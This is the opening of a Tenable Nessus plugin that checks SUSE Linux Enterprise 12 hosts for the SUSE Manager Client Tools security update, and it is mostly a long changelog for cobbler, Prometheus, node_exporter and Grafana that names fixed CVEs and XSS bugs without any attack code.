(C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2020:1970-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(138793);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/13\");\n\n script_cve_id(\"CVE-2019-10215\", \"CVE-2019-15043\", \"CVE-2020-12245\", \"CVE-2020-13379\");\n\n script_name(english:\"SUSE SLES12 Security Update : SUSE Manager Client Tools (SUSE-SU-2020:1970-1)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update fixes the following issues :\n\ncobbler :\n\nCalculate relative path for kernel and inited when generating grub\nentry (bsc#1170231) Added: fix-grub2-entry-paths.diff\n\nFix os-release version detection for SUSE Modified: sles15.patch\n\nJinja2 template library fix (bsc#1141661)\n\nRemoves string replace for textmode fix (bsc#1134195)\n\ngolang-github-prometheus-node_exporter :\n\nUpdate to 0.18.1\n\n - [BUGFIX] Fix incorrect sysctl call in BSD meminfo\n collector, resulting in broken swap metrics on FreeBSD\n #1345\n\n - [BUGFIX] Fix rollover bug in mountstats collector #1364\n\n - Renamed interface label to device in netclass collector\n for consistency with\n\n - other network metrics #1224\n\n - The cpufreq metrics now separate the cpufreq and scaling\n data based on what the driver provides. #1248\n\n - The labels for the network_up metric have changed, see\n issue #1236\n\n - Bonding collector now uses mii_status instead of\n operstatus #1124\n\n - Several systemd metrics have been turned off by default\n to improve performance #1254\n\n - These include unit_tasks_current, unit_tasks_max,\n service_restart_total, and unit_start_time_seconds\n\n - The systemd collector blacklist now includes automount,\n device, mount, and slice units by default. #1255\n\n - [CHANGE] Bonding state uses mii_status #1124\n\n - [CHANGE] Add a limit to the number of in-flight requests\n #1166\n\n - [CHANGE] Renamed interface label to device in netclass\n collector #1224\n\n - [CHANGE] Add separate cpufreq and scaling metrics #1248\n\n - [CHANGE] Several systemd metrics have been turned off by\n default to improve performance #1254\n\n - [CHANGE] Expand systemd collector blacklist #1255\n\n - [CHANGE] Split cpufreq metrics into a separate collector\n #1253\n\n - [FEATURE] Add a flag to disable exporter metrics #1148\n\n - [FEATURE] Add kstat-based Solaris metrics for boottime,\n cpu and zfs collectors #1197\n\n - [FEATURE] Add uname collector for FreeBSD #1239\n\n - [FEATURE] Add diskstats collector for OpenBSD #1250\n\n - [FEATURE] Add pressure collector exposing pressure stall\n information for Linux #1174\n\n - [FEATURE] Add perf exporter for Linux #1274\n\n - [ENHANCEMENT] Add Infiniband counters #1120\n\n - [ENHANCEMENT] Add TCPSynRetrans to netstat default\n filter #1143\n\n - [ENHANCEMENT] Move network_up labels into new metric\n network_info #1236\n\n - [ENHANCEMENT] Use 64-bit counters for Darwin netstat\n\n - [BUGFIX] Add fallback for missing /proc/1/mounts #1172\n\n - [BUGFIX] Fix node_textfile_mtime_seconds to work\n properly on symlinks #1326\n\nAdd network-online (Wants and After) dependency to systemd unit\nbsc#1143913\n\ngolang-github-prometheus-prometheus :\n\nUpdate change log and spec file\n\n + Modified spec file: default to golang 1.14 to avoid\n 'have choice' build issues in OBS.\n\n + Rebase and update patches for version 2.18.0\n\n + Changed :\n\n - 0002-Default-settings.patch Changed\n\nUpdate to 2.18.0\n\n + Features\n\n - Tracing: Added experimental Jaeger support #7148\n\n + Changes\n\n - Federation: Only use local TSDB for federation (ignore\n remote read). #7096\n\n - Rules: `rule_evaluations_total` and\n `rule_evaluation_failures_total` have a `rule_group`\n label now. #7094\n\n + Enhancements\n\n - TSDB: Significantly reduce WAL size kept around after a\n block cut. #7098\n\n - Discovery: Add `architecture` meta label for EC2. #7000\n\n + Bug fixes\n\n - UI: Fixed wrong MinTime reported by /status. #7182\n\n - React UI: Fixed multiselect legend on OSX. #6880\n\n - Remote Write: Fixed blocked resharding edge case. #7122\n\n - Remote Write: Fixed remote write not updating on relabel\n configs change. #7073\n\nChanges from 2.17.2\n\n + Bug fixes\n\n - Federation: Register federation metrics #7081\n\n - PromQL: Fix panic in parser error handling #7132\n\n - Rules: Fix reloads hanging when deleting a rule group\n that is being evaluated #7138\n\n - TSDB: Fix a memory leak when prometheus starts with an\n empty TSDB WAL #7135\n\n - TSDB: Make isolation more robust to panics in web\n handlers #7129 #7136\n\nChanges from 2.17.1\n\n + Bug fixes\n\n - TSDB: Fix query performance regression that increased\n memory and CPU usage #7051\n\nChanges from 2.17.0\n\n + Features\n\n - TSDB: Support isolation #6841\n\n - This release implements isolation in TSDB. API queries\n and recording rules are guaranteed to only see full\n scrapes and full recording rules. This comes with a\n certain overhead in resource usage. Depending on the\n situation, there might be some increase in memory usage,\n CPU usage, or query latency.\n\n + Enhancements\n\n - PromQL: Allow more keywords as metric names #6933\n\n - React UI: Add normalization of localhost URLs in targets\n page #6794\n\n - Remote read: Read from remote storage concurrently #6770\n\n - Rules: Mark deleted rule series as stale after a reload\n #6745\n\n - Scrape: Log scrape append failures as debug rather than\n warn #6852\n\n - TSDB: Improve query performance for queries that\n partially hit the head #6676\n\n - Consul SD: Expose service health as meta label #5313\n\n - EC2 SD: Expose EC2 instance lifecycle as meta label\n #6914\n\n - Kubernetes SD: Expose service type as meta label for K8s\n service role #6684\n\n - Kubernetes SD: Expose label_selector and field_selector\n #6807\n\n - Openstack SD: Expose hypervisor id as meta label #6962\n\n + Bug fixes\n\n - PromQL: Do not escape HTML-like chars in query log #6834\n #6795\n\n - React UI: Fix data table matrix values #6896\n\n - React UI: Fix new targets page not loading when using\n non-ASCII characters #6892\n\n - Remote read: Fix duplication of metrics read from remote\n storage with external labels #6967 #7018\n\n - Remote write: Register WAL watcher and live reader\n metrics for all remotes, not just the first one #6998\n\n - Scrape: Prevent removal of metric names upon relabeling\n #6891\n\n - Scrape: Fix 'superfluous response.WriteHeader call'\n errors when scrape fails under some circonstances #6986\n\n - Scrape: Fix crash when reloads are separated by two\n scrape intervals #7011\n\nChanges from 2.16.0\n\n + Features\n\n - React UI: Support local timezone on /graph #6692\n\n - PromQL: add absent_over_time query function #6490\n\n - Adding optional logging of queries to their own file\n #6520\n\n + Enhancements\n\n - React UI: Add support for rules page and 'Xs ago'\n duration displays #6503\n\n - React UI: alerts page, replace filtering togglers tabs\n with checkboxes #6543\n\n - TSDB: Export metric for WAL write errors #6647\n\n - TSDB: Improve query performance for queries that only\n touch the most recent 2h of data. #6651\n\n - PromQL: Refactoring in parser errors to improve error\n messages #6634\n\n - PromQL: Support trailing commas in grouping opts #6480\n\n - Scrape: Reduce memory usage on reloads by reusing scrape\n cache #6670\n\n - Scrape: Add metrics to track bytes and entries in the\n metadata cache #6675\n\n - promtool: Add support for line-column numbers for\n invalid rules output #6533\n\n - Avoid restarting rule groups when it is unnecessary\n #6450\n\n + Bug fixes\n\n - React UI: Send cookies on fetch() on older browsers\n #6553\n\n - React UI: adopt grafana flot fix for stacked graphs\n #6603\n\n - React UI: broken graph page browser history so that back\n button works as expected #6659\n\n - TSDB: ensure compactionsSkipped metric is registered,\n and log proper error if one is returned from head.Init\n #6616\n\n - TSDB: return an error on ingesting series with duplicate\n labels #6664\n\n - PromQL: Fix unary operator precedence #6579\n\n - PromQL: Respect query.timeout even when we reach\n query.max-concurrency #6712\n\n - PromQL: Fix string and parentheses handling in engine,\n which affected React UI #6612\n\n - PromQL: Remove output labels returned by absent() if\n they are produced by multiple identical label matchers\n #6493\n\n - Scrape: Validate that OpenMetrics input ends with `#\n EOF` #6505\n\n - Remote read: return the correct error if configs can't\n be marshal'd to JSON #6622\n\n - Remote write: Make remote client `Store` use passed\n context, which can affect shutdown timing #6673\n\n - Remote write: Improve sharding calculation in cases\n where we would always be consistently behind by tracking\n pendingSamples #6511\n\n - Ensure prometheus_rule_group metrics are deleted when a\n rule group is removed #6693\n\nChanges from 2.15.2\n\n + Bug fixes\n\n - TSDB: Fixed support for TSDB blocks built with\n Prometheus before 2.1.0. #6564\n\n - TSDB: Fixed block compaction issues on Windows. #6547\n\nChanges from 2.15.1\n\n + Bug fixes\n\n - TSDB: Fixed race on concurrent queries against same\n data. #6512\n\nChanges from 2.15.0\n\n + Features\n\n - API: Added new endpoint for exposing per metric metadata\n `/metadata`. #6420 #6442\n\n + Changes\n\n - Discovery: Removed `prometheus_sd_kubernetes_cache_*`\n metrics. Additionally\n `prometheus_sd_kubernetes_workqueue_latency_seconds` and\n `prometheus_sd_kubernetes_workqueue_work_duration_second\n s` metrics now show correct values in seconds. #6393\n\n - Remote write: Changed `query` label on\n `prometheus_remote_storage_*` metrics to `remote_name`\n and `url`. #6043\n\n + Enhancements\n\n - TSDB: Significantly reduced memory footprint of loaded\n TSDB blocks. #6418 #6461\n\n - TSDB: Significantly optimized what we buffer during\n compaction which should result in lower memory footprint\n during compaction. #6422 #6452 #6468 #6475\n\n - TSDB: Improve replay latency. #6230\n\n - TSDB: WAL size is now used for size based retention\n calculation. #5886\n\n - Remote read: Added query grouping and range hints to the\n remote read request #6401\n\n - Remote write: Added\n `prometheus_remote_storage_sent_bytes_total` counter per\n queue. #6344\n\n - promql: Improved PromQL parser performance. #6356\n\n - React UI: Implemented missing pages like `/targets`\n #6276, TSDB status page #6281 #6267 and many other fixes\n and performance improvements.\n\n - promql: Prometheus now accepts spaces between time range\n and square bracket. e.g `[ 5m]` #6065\n\n + Bug fixes\n\n - Config: Fixed alertmanager configuration to not miss\n targets when configurations are similar. #6455\n\n - Remote write: Value of\n `prometheus_remote_storage_shards_desired` gauge shows\n raw value of desired shards and it's updated correctly.\n #6378\n\n - Rules: Prometheus now fails the evaluation of rules and\n alerts where metric results collide with labels\n specified in `labels` field. #6469\n\n - API: Targets Metadata API `/targets/metadata` now\n accepts empty `match_targets` parameter as in the spec.\n #6303\n\nChanges from 2.14.0\n\n + Features\n\n - API: `/api/v1/status/runtimeinfo` and\n `/api/v1/status/buildinfo` endpoints added for use by\n the React UI. #6243\n\n - React UI: implement the new experimental React based UI.\n #5694 and many more\n\n - Can be found by under `/new`.\n\n - Not all pages are implemented yet.\n\n - Status: Cardinality statistics added to the Runtime &\n Build Information page. #6125\n\n + Enhancements\n\n - Remote write: fix delays in remote write after a\n compaction. #6021\n\n - UI: Alerts can be filtered by state. #5758\n\n + Bug fixes\n\n - Ensure warnings from the API are escaped. #6279\n\n - API: lifecycle endpoints return 403 when not enabled.\n #6057\n\n - Build: Fix Solaris build. #6149\n\n - Promtool: Remove false duplicate rule warnings when\n checking rule files with alerts. #6270\n\n - Remote write: restore use of deduplicating logger in\n remote write. #6113\n\n - Remote write: do not reshard when unable to send\n samples. #6111\n\n - Service discovery: errors are no longer logged on\n context cancellation. #6116, #6133\n\n - UI: handle null response from API properly. #6071\n\nChanges from 2.13.1\n\n + Bug fixes\n\n - Fix panic in ARM builds of Prometheus. #6110\n\n - promql: fix potential panic in the query logger. #6094\n\n - Multiple errors of http: superfluous\n response.WriteHeader call in the logs. #6145\n\nChanges from 2.13.0\n\n + Enhancements\n\n - Metrics: renamed prometheus_sd_configs_failed_total to\n prometheus_sd_failed_configs and changed to Gauge #5254\n\n - Include the tsdb tool in builds. #6089\n\n - Service discovery: add new node address types for\n kubernetes. #5902\n\n - UI: show warnings if query have returned some warnings.\n #5964\n\n - Remote write: reduce memory usage of the series cache.\n #5849\n\n - Remote read: use remote read streaming to reduce memory\n usage. #5703\n\n - Metrics: added metrics for remote write max/min/desired\n shards to queue manager. #5787\n\n - Promtool: show the warnings during label query. #5924\n\n - Promtool: improve error messages when parsing bad rules.\n #5965\n\n - Promtool: more promlint rules. #5515\n\n + Bug fixes\n\n - UI: Fix a Stored DOM XSS vulnerability with query\n history\n\n[CVE-2019-10215](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-201\n9-102 15). #6098\n\n - Promtool: fix recording inconsistency due to duplicate\n labels. #6026\n\n - UI: fixes service-discovery view when accessed from\n unhealthy targets. #5915\n\n - Metrics format: OpenMetrics parser crashes on short\n input. #5939\n\n - UI: avoid truncated Y-axis values. #6014\n\nChanges from 2.12.0\n\n + Features\n\n - Track currently active PromQL queries in a log file.\n #5794\n\n - Enable and provide binaries for `mips64` / `mips64le`\n architectures. #5792\n\n + Enhancements\n\n - Improve responsiveness of targets web UI and API\n endpoint. #5740\n\n - Improve remote write desired shards calculation. #5763\n\n - Flush TSDB pages more precisely. tsdb#660\n\n - Add `prometheus_tsdb_retention_limit_bytes` metric.\n tsdb#667\n\n - Add logging during TSDB WAL replay on startup. tsdb#662\n\n - Improve TSDB memory usage. tsdb#653, tsdb#643, tsdb#654,\n tsdb#642, tsdb#627\n\n + Bug fixes\n\n - Check for duplicate label names in remote read. #5829\n\n - Mark deleted rules' series as stale on next evaluation.\n #5759\n\n - Fix JavaScript error when showing warning about\n out-of-sync server time. #5833\n\n - Fix `promtool test rules` panic when providing empty\n `exp_labels`. #5774\n\n - Only check last directory when discovering checkpoint\n number. #5756\n\n - Fix error propagation in WAL watcher helper functions.\n #5741\n\n - Correctly handle empty labels from alert templates.\n #5845\n\nUpdate Uyuni/SUSE Manager service discovery patch\n\n + Modified 0003-Add-Uyuni-service-discovery.patch :\n\n + Adapt service discovery to the new Uyuni API endpoints\n\n + Modified spec file: force golang 1.12 to fix build\n issues in SLE15SP2\n\nUpdate to Prometheus 2.11.2\n\ngrafana :\n\nUpdate to version 7.0.3\n\n - Features / Enhancements\n\n - Stats: include all fields. #24829, @ryantxu\n\n - Variables: change VariableEditorList row action Icon to\n IconButton. #25217, @hshoff\n\n - Bug fixes\n\n - Cloudwatch: Fix dimensions of DDoSProtection. #25317,\n @papagian\n\n - Configuration: Fix env var override of sections\n containing hyphen. #25178, @marefr\n\n - Dashboard: Get panels in collapsed rows. #25079,\n @peterholmberg\n\n - Do not show alerts tab when alerting is disabled.\n #25285, @dprokop\n\n - Jaeger: fixes cascader option label duration value.\n #25129, @Estrax\n\n - Transformations: Fixed Transform tab crash & no update\n after adding first transform. #25152, @torkelo\n\nUpdate to version 7.0.2\n\n - Bug fixes\n\n - Security: Urgent security patch release to fix\n CVE-2020-13379\n\nUpdate to version 7.0.1\n\n - Features / Enhancements\n\n - Datasource/CloudWatch: Makes CloudWatch Logs query\n history more readable. #24795, @kaydelaney\n\n - Download CSV: Add date and time formatting. #24992,\n @ryantxu\n\n - Table: Make last cell value visible when right aligned.\n #24921, @peterholmberg\n\n - TablePanel: Adding sort order persistance. #24705,\n @torkelo\n\n - Transformations: Display correct field name when using\n reduce transformation. #25068, @peterholmberg\n\n - Transformations: Allow custom number input for binary\n operations. #24752, @ryantxu\n\n - Bug fixes\n\n - Dashboard/Links: Fixes dashboard links by tags not\n working. #24773, @KamalGalrani\n\n - Dashboard/Links: Fixes open in new window for dashboard\n link. #24772, @KamalGalrani\n\n - Dashboard/Links: Variables are resolved and limits to\n 100. #25076, @hugohaggmark\n\n - DataLinks: Bring back variables interpolation in title.\n #24970, @dprokop\n\n - Datasource/CloudWatch: Field suggestions no longer\n limited to prefix-only. #24855, @kaydelaney\n\n - Explore/Table: Keep existing field types if possible.\n #24944, @kaydelaney\n\n - Explore: Fix wrap lines toggle for results of queries\n with filter expression. #24915, @ivanahuckova\n\n - Explore: fix undo in query editor. #24797, @zoltanbedi\n\n - Explore: fix word break in type head info. #25014,\n @zoltanbedi\n\n - Graph: Legend decimals now work as expected. #24931,\n @torkelo\n\n - LoginPage: Fix hover color for service buttons. #25009,\n @tskarhed\n\n - LogsPanel: Fix scrollbar. #24850, @ivanahuckova\n\n - MoveDashboard: Fix for moving dashboard caused all\n variables to be lost. #25005, @torkelo\n\n - Organize transformer: Use display name in field order\n comparer. #24984, @dprokop\n\n - Panel: shows correct panel menu items in view mode.\n #24912, @hugohaggmark\n\n - PanelEditor Fix missing labels and description if there\n is only single option in category. #24905, @dprokop\n\n - PanelEditor: Overrides name matcher still show all\n original field names even after Field default display\n name is specified. #24933, @torkelo\n\n - PanelInspector: Makes sure Data display options are\n visible. #24902, @hugohaggmark\n\n - PanelInspector: Hides unsupported data display options\n for Panel type. #24918, @hugohaggmark\n\n - PanelMenu: Make menu disappear on button press. #25015,\n @tskarhed\n\n - Postgres: Fix add button. #25087, @phemmer\n\n - Prometheus: Fix recording rules expansion. #24977,\n @ivanahuckova\n\n - Stackdriver: Fix creating Service Level Objectives (SLO)\n datasource query variable. #25023, @papagian\n\nUpdate to version 7.0.0\n\n - Breaking changes\n\n - Removed PhantomJS: PhantomJS was deprecated in Grafana\n v6.4 and starting from Grafana v7.0.0, all PhantomJS\n support has been removed. This means that Grafana no\n longer ships with a built-in image renderer, and we\n advise you to install the Grafana Image Renderer plugin.\n\n - Dashboard: A global minimum dashboard refresh interval\n is now enforced and defaults to 5 seconds.\n\n - Interval calculation: There is now a new option Max data\n points that controls the auto interval $__interval\n calculation. Interval was previously calculated by\n dividing the panel width by the time range. With the new\n max data points option it is now easy to set $__interval\n to a dynamic value that is time range agnostic. For\n example if you set Max data points to 10 Grafana will\n dynamically set $__interval by dividing the current time\n range by 10.\n\n - Datasource/Loki: Support for deprecated Loki endpoints\n has been removed.\n\n - Backend plugins: Grafana now requires backend plugins to\n be signed, otherwise Grafana will not load/start them.\n This is an additional security measure to make sure\n backend plugin binaries and files haven't been tampered\n with. Refer to Upgrade Grafana for more information.\n\n - @grafana/ui: Forms migration notice, see @grafana/ui\n changelog\n\n - @grafana/ui: Select API change for creating custom\n values, see @grafana/ui changelog\n\n + Deprecation warnings\n\n - Scripted dashboards is now deprecated. The feature is\n not removed\n\nbut will be in a future release. We hope to address the underlying\n\nrequirement of dynamic dashboards in a different way. #24059\n\n - The unofficial first version of backend plugins together\n with\n\nusage of grafana/grafana-plugin-model is now deprecated and support\nfor\n\nthat will be removed in a future release. Please refer to backend\nplugins\n\ndocumentation for information about the new officially supported\nbackend\n\nplugins.\n\n - Features / Enhancements\n\n - Backend plugins: Log deprecation warning when using the\n unofficial first version of backend plugins. #24675,\n @marefr\n\n - Editor: New line on Enter, run query on Shift+Enter.\n #24654, @davkal\n\n - Loki: Allow multiple derived fields with the same name.\n #24437, @aocenas\n\n - Orgs: Add future deprecation notice. #24502, @torkelo\n\n - Bug Fixes\n\n - @grafana/toolkit: Use process.cwd() instead of PWD to\n get directory. #24677, @zoltanbedi\n\n - Admin: Makes long settings values line break in settings\n page. #24559, @hugohaggmark\n\n - Dashboard: Allow editing provisioned dashboard JSON and\n add confirmation when JSON is copied to dashboard.\n #24680, @dprokop\n\n - Dashboard: Fix for strange 'dashboard not found' errors\n when opening links in dashboard settings. #24416,\n @torkelo\n\n - Dashboard: Fix so default data source is selected when\n data source can't be found in panel editor. #24526,\n @mckn\n\n - Dashboard: Fixed issue changing a panel from transparent\n back to normal in panel editor. #24483, @torkelo\n\n - Dashboard: Make header names reflect the field name when\n exporting to CSV file from the the panel inspector.\n #24624, @peterholmberg\n\n - Dashboard: Make sure side pane is displayed with tabs by\n default in panel editor. #24636, @dprokop\n\n - Data source: Fix query/annotation help content\n formatting. #24687, @AgnesToulet\n\n - Data source: Fixes async mount errors. #24579, @Estrax\n\n - Data source: Fixes saving a data source without failure\n when URL doesn't specify a protocol. #24497, @aknuds1\n\n - Explore/Prometheus: Show results of instant queries only\n in table. #24508, @ivanahuckova\n\n - Explore: Fix rendering of react query editors. #24593,\n @ivanahuckova\n\n - Explore: Fixes loading more logs in logs context view.\n #24135, @Estrax\n\n - Graphite: Fix schema and dedupe strategy in rollup\n indicators for Metrictank queries. #24685, @torkelo\n\n - Graphite: Makes query annotations work again. #24556,\n @hugohaggmark\n\n - Logs: Clicking 'Load more' from context overlay doesn't\n expand log row. #24299, @kaydelaney\n\n - Logs: Fix total bytes process calculation. #24691,\n @davkal\n\n - Org/user/team preferences: Fixes so UI Theme can be set\n back to Default. #24628, @AgnesToulet\n\n - Plugins: Fix manifest validation. #24573, @aknuds1\n\n - Provisioning: Use proxy as default access mode in\n provisioning. #24669, @bergquist\n\n - Search: Fix select item when pressing enter and Grafana\n is served using a sub path. #24634, @tskarhed\n\n - Search: Save folder expanded state. #24496, @Clarity-89\n\n - Security: Tag value sanitization fix in OpenTSDB data\n source. #24539, @rotemreiss\n\n - Table: Do not include angular options in options when\n switching from angular panel. #24684, @torkelo\n\n - Table: Fixed persisting column resize for time series\n fields. #24505, @torkelo\n\n - Table: Fixes Cannot read property subRows of null.\n #24578, @hugohaggmark\n\n - Time picker: Fixed so you can enter a relative range in\n the time picker without being converted to absolute\n range. #24534, @mckn\n\n - Transformations: Make transform dropdowns not cropped.\n #24615, @dprokop\n\n - Transformations: Sort order should be preserved as\n entered by user when using the reduce transformation.\n #24494, @hugohaggmark\n\n - Units: Adds scale symbol for currencies with suffixed\n symbol. #24678, @hugohaggmark\n\n - Variables: Fixes filtering options with more than 1000\n entries. #24614, @hugohaggmark\n\n - Variables: Fixes so Textbox variables read value from\n url. #24623, @hugohaggmark\n\n - Zipkin: Fix error when span contains remoteEndpoint.\n #24524, @aocenas\n\n - SAML: Switch from email to login for user login\n attribute mapping (Enterprise)\n\nUpdate Makefile and spec file\n\n - Remove phantomJS patch from Makefile\n\n - Fix multiline strings in Makefile\n\n - Exclude s390 from SLE12 builds, golang 1.14 is not built\n for s390\n\nAdd instructions for patching the Grafana JavaScript frontend.\n\nBuildRequires golang(API) instead of go metapackage version range\n\n - BuildRequires: golang(API) >= 1.14 from BuildRequires: (\n go >= 1.14 with go < 1.15 )\n\nUpdate to version 6.7.3\n\n - This version fixes bsc#1170557 and its corresponding\n CVE-2020-12245\n\n - Admin: Fix Synced via LDAP message for non-LDAP external\n users. #23477, @alexanderzobnin\n\n - Alerting: Fixes notifications for alerts with empty\n message in Google Hangouts notifier. #23559,\n @hugohaggmark\n\n - AuthProxy: Fixes bug where long username could not be\n cached.. #22926, @jcmcken\n\n - Dashboard: Fix saving dashboard when editing raw\n dashboard JSON model. #23314, @peterholmberg\n\n - Dashboard: Try to parse 8 and 15 digit numbers as\n timestamps if parsing of time range as date fails.\n #21694, @jessetan\n\n - DashboardListPanel: Fixed problem with empty panel after\n going into edit mode (General folder filter being\n automatically added) . #23426, @torkelo\n\n - Data source: Handle datasource withCredentials option\n properly. #23380, @hvtuananh\n\n - Security: Fix annotation popup XSS vulnerability.\n #23813, @torkelo\n\n - Server: Exit Grafana with status code 0 if no error.\n #23312, @aknuds1\n\n - TablePanel: Fix XSS issue in header column rename\n (backport). #23814, @torkelo\n\n - Variables: Fixes error when setting adhoc variable\n values. #23580, @hugohaggmark\n\nUpdate to version 6.7.2: (see installed changelog for the full list of\nchanges)\n\n - BackendSrv: Adds config to response to fix issue for\n external plugins that used this property . #23032,\n @torkelo\n\n - Dashboard: Fixed issue with saving new dashboard after\n changing title . #23104, @dprokop\n\n - DataLinks: make sure we use the correct datapoint when\n dataset contains null value.. #22981, @mckn\n\n - Plugins: Fixed issue for plugins that imported dateMath\n util . #23069, @mckn\n\n - Security: Fix for dashboard snapshot original dashboard\n link could contain XSS vulnerability in url. #23254,\n @torkelo\n\n - Variables: Fixes issue with too many queries being\n issued for nested template variables after value change.\n #23220, @torkelo\n\n - Plugins: Expose promiseToDigest. #23249, @torkelo\n\n - Reporting (Enterprise): Fixes issue updating a report\n created by someone else\n\nUpdate to 6.7.1: (see installed changelog for the full list of\nchanges) Bug Fixes\n\n - Azure: Fixed dropdowns not showing current value.\n #22914, @torkelo\n\n - BackendSrv: only add content-type on POST, PUT requests.\n #22910, @hugohaggmark\n\n - Panels: Fixed size issue with panel internal size when\n exiting panel edit mode. #22912, @torkelo\n\n - Reporting: fixes migrations compatibility with mysql\n (Enterprise)\n\n - Reporting: Reduce default concurrency limit to 4\n (Enterprise)\n\nUpdate to 6.7.0: (see installed changelog for the full list of\nchanges) Bug Fixes\n\n - AngularPanels: Fixed inner height calculation for\n angular panels . #22796, @torkelo\n\n - BackendSrv: makes sure provided headers are correctly\n recognized and set. #22778, @hugohaggmark\n\n - Forms: Fix input suffix position (caret-down in Select)\n . #22780, @torkelo\n\n - Graphite: Fixed issue with query editor and next select\n metric now showing after selecting metric node . #22856,\n @torkelo\n\n - Rich History: UX adjustments and fixes. #22729,\n @ivanahuckova\n\nUpdate to 6.7.0-beta1: Breaking changes\n\n - Slack: Removed Mention setting and instead introduce\n Mention Users, Mention Groups, and Mention Channel. The\n first two settings require user and group IDs,\n respectively. This change was necessary because the way\n of mentioning via the Slack API changed and mentions in\n Slack notifications no longer worked.\n\n - Alerting: Reverts the behavior of diff and percent_diff\n to not always be absolute. Something we introduced by\n mistake in 6.1.0. Alerting now support diff(),\n diff_abs(), percent_diff() and percent_diff_abs().\n #21338\n\n - Notice about changes in backendSrv for plugin authors In\n our mission to migrate away from AngularJS to React we\n have removed all AngularJS dependencies in the core data\n retrieval service backendSrv. Removing the AngularJS\n dependencies in backendSrv has the unfortunate side\n effect of AngularJS digest no longer being triggered for\n any request made with backendSrv. Because of this,\n external plugins using backendSrv directly may suffer\n from strange behaviour in the UI. To remedy this issue,\n as a plugin author you need to trigger the digest after\n a direct call to backendSrv. Bug Fixes API: Fix redirect\n issues. #22285, @papagian Alerting: Don't include\n image_url field with Slack message if empty. #22372,\n @aknuds1 Alerting: Fixed bad background color for\n default notifications in alert tab . #22660, @krvajal\n Annotations: In table panel when setting transform to\n annotation, they will now show up right away without a\n manual refresh. #22323, @krvajal Azure Monitor: Fix app\n insights source to allow for new __timeFrom and\n __timeTo. #21879, @ChadNedzlek BackendSrv: Fixes POST\n body for form data. gmark CloudWatch: Credentials cache\n invalidation fix. #22473, @sunker CloudWatch: Expand\n alias variables when query yields no result. #22695,\n @sunker Dashboard: Fix bug with NaN in alerting. #22053,\n @a-melnyk Explore: Fix display of multiline logs in log\n panel and explore. #22057, @thomasdraebing Heatmap:\n Legend color range is incorrect when using custom\n min/max. #21748, @sv5d Security: Fixed XSS issue in\n dashboard history diff . #22680, @torkelo StatPanel:\n Fixes base color is being used for null values . #22646,\n @torkelo\n\nUpdate to version 6.6.2: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.6.1: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.6.0: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.5.3: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.5.2: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.5.1: (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.5.0 (see installed changelog for the full list of\nchanges)\n\nUpdate to version 6.4.5 :\n\n - Create version 6.4.5\n\n - CloudWatch: Fix high CPU load (#20579)\n\nAdd obs-service-go_modules to download required modules into\nvendor.tar.gz\n\nAdjusted spec file to use vendor.tar.gz\n\nAdjusted Makefile to work with new filenames\n\nBuildRequire go1.14\n\nUpdate to version 6.4.4 :\n\n - DataLinks: Fix blur issues. #19883, @aocenas\n\n - Docker: Makes it possible to parse timezones in the\n docker image. #20081, @xlson\n\n - LDAP: All LDAP servers should be tried even if one of\n them returns a connection error. #20077, @jongyllen\n\n - LDAP: No longer shows incorrectly matching groups based\n on role in debug page. #20018, @xlson\n\n - Singlestat: Fix no data / null value mapping . #19951,\n @ryantxu\n\nRevert the spec file and make script\n\nRemove PhantomJS dependency\n\nUpdate to 6.4.3\n\n - Bug Fixes\n\n - Alerting: All notification channels should send even if\n one fails to send. #19807, @jan25\n\n - AzureMonitor: Fix slate interference with dropdowns.\n #19799, @aocenas\n\n - ContextMenu: make ContextMenu positioning aware of the\n viewport width. #19699, @krvajal\n\n - DataLinks: Fix context menu not showing in\n singlestat-ish visualisations. #19809, @dprokop\n\n - DataLinks: Fix url field not releasing focus. #19804,\n @aocenas\n\n - Datasource: Fixes clicking outside of some query editors\n required 2 clicks. #19822, @aocenas\n\n - Panels: Fixes default tab for visualizations without\n Queries Tab. #19803, @hugohaggmark\n\n - Singlestat: Fixed issue with mapping null to text.\n #19689, @torkelo\n\n - @grafana/toolkit: Don't fail plugin creation when git\n user.name config is not set. #19821, @dprokop\n\n - @grafana/toolkit: TSLint line number off by 1. #19782,\n @fredwangwang\n\nUpdate to 6.4.2\n\n - Bug Fixes\n\n - CloudWatch: Changes incorrect dimension wmlid to wlmid .\n #19679, @ATTron\n\n - Grafana Image Renderer: Fixes plugin page. #19664,\n @hugohaggmark\n\n - Graph: Fixes auto decimals logic for y axis ticks that\n results in too many decimals for high values. #19618,\n @torkelo\n\n - Graph: Switching to series mode should re-render graph.\n #19623, @torkelo\n\n - Loki: Fix autocomplete on label values. #19579, @aocenas\n\n - Loki: Removes live option for logs panel. #19533,\n @davkal\n\n - Profile: Fix issue with user profile not showing more\n than sessions sessions in some cases. #19578,\n @huynhsamha\n\n - Prometheus: Fixes so results in Panel always are sorted\n by query order. #19597, @hugohaggmark\n\n - sted keys in YAML provisioning caused a server crash,\n #19547\n\n - ImageRendering: Fixed issue with image rendering in\n enterprise build (Enterprise)\n\n - Reporting: Fixed issue with reporting service when STMP\n was disabled (Enterprise).\n\nChanges from 6.4.0\n\n - Features / Enhancements\n\n - Build: Upgrade go to 1.12.10. #19499, @marefr\n\n - DataLinks: Suggestions menu improvements. #19396,\n @dprokop\n\n - Explore: Take root_url setting into account when\n redirecting from dashboard to explore. #19447,\n @ivanahuckova\n\n - Explore: Update broken link to logql docs. #19510,\n @ivanahuckova\n\n - Logs: Adds Logs Panel as a visualization. #19504,\n @davkal\n\n - Bug Fixes\n\n - CLI: Fix version selection for plugin install. #19498,\n @aocenas\n\n - Graph: Fixes minor issue with series override color\n picker and custom color . #19516, @torkelo\n\nChanges from 6.4.0 Beta 2\n\n - Features / Enhancements\n\n - Azure Monitor: Remove support for cross resource queries\n 